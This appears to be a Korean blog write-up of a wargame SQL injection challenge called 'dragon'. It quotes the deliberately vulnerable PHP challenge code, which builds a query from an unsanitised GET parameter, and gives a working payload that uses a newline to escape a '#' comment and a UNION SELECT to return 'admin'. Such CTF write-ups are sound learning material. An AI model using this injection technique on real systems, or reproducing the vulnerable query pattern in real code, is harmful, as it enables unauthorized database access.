Kortsec1 2023. 8. 3. 23:37

1. Code

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_dragon where id='guest'# and pw='{$_GET[pw]}'";
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
  if($result['id'] == 'admin') solve("dragon");
  highlight_file(__FILE__); 
?>

 


2. Condition

  • 쿼리속 #를통해 주석처리가 되어, and pw 이후는 무시하려 한다.
  • 쿼리 실행 결과속 id가 admin이라면 문제가 해결된다.

 


3. Solution

#의 정확한 의미를 안다면 쉽게 해결 가능한 문제이다.

 

mysql속 #한줄주석을 의미한다. 맞다, 한줄주석이다.

그렇다면 개행(%0a)을 하여 쿼리를 이어간다면 입력될것이다.

img_1 escape #

 


4. Injection

더보기

 

최종 쿼리는 다음과 같다.

 

변수명
pw %0aunion select 'admin' order by id#

아랫줄에 union select를 이용하여 admin을 추가해 주었고, order by로 앞당겨 주었다.

 

성공적으로 문제가 해결된다.

img_2 dragon clear